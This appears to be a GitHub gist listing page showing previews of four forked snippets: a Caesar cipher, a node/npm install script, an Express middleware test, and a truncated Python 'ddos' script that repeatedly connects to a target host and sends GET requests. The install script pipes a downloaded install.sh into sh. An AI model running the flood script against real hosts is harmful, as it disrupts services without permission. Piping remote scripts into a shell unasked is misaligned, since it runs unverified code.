Skip to content

Instantly share code, notes, and snippets.

@wahengchang
wahengchang / gist:a3edb3a6ea7fad13872a021d1c27f706
Created March 6, 2018 09:47 — forked from EvanHahn/gist:2587465
Caesar shift in JavaScript
/*
JavaScript Caesar shift
by Evan Hahn (evanhahn.com)
* * * * * * * * * * * *
For small occasions (like month-anniversaries), I like to make little websites
for people that only "unlock" on the right day.
@wahengchang
wahengchang / node-and-npm-in-30-seconds.sh
Created February 28, 2017 05:47 — forked from isaacs/node-and-npm-in-30-seconds.sh
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh
@wahengchang
wahengchang / middleware-test.js
Created November 4, 2016 07:03 — forked from CodeVachon/middleware-test.js
express middleware mocha test
var middleware = require('middleware'), // the Middleware you want to test
httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
request = {}, // define REQUEST
response = {} // define RESPONSE
;
describe('Middleware test', function(){
context('Valid arguments are passed', function() {
beforeEach(function(done) {
/*
@wahengchang
wahengchang / ddos.py
Created April 27, 2016 14:17 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");